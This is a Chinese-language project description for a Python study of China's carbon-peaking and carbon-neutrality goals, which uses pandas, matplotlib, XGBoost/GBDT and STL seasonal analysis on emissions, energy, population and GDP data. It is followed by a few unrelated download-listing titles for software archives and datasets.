# 基于Python的双碳目标及路径规划研究 ## 项目简介 本项目是一个关于双碳目标(即碳达峰和碳中和)及其实现路径的研究项目。它使用Python语言,通过数据分析、可视化、机器学习等方法,对碳排放量、能源消耗量、人口、GDP等数据进行深入分析,旨在找出影响碳排放的关键因素,并探索实现双碳目标的最佳路径。 ## 项目的主要特性和功能 1. 数据分析项目使用Python的pandas库,对从Excel文件中读取的数据进行处理和分析,提取出对碳排放量有重要影响的关键因素。 2. 数据可视化通过matplotlib库,绘制出碳排放量、能源消耗量、人口、GDP等数据的折线图、柱状图、扇形图等,以便直观地展示和分析数据趋势。 3. 机器学习利用XGBoost和GBDT等机器学习模型,对碳排放量进行预测,并评估各指标对碳排放量的贡献。 4. 季节性STL分析使用statsmodels库对碳排放总量进行季节性分析,以便了解碳排放量的季节性变化规律。
一个AIDEMO的源码
Delphi 12.3控件之rave_bex_2024_0_4.rar
Delphi 12.3控件之MiTeC_System_Information_Component_Suite_15.1.0_Full_Source.rar
Java项目课程设计,包含源码+数据库+论文
村级行政界线数据 数据格式:矢量格式(.shp) 时间范围:每个省份年份不同,基本为2020年到2022年 数据坐标:CGCS2000/WGS1984 备注:由于村级行政界线小部分每年会有调整,所以该数据有部分地区不是最新界线。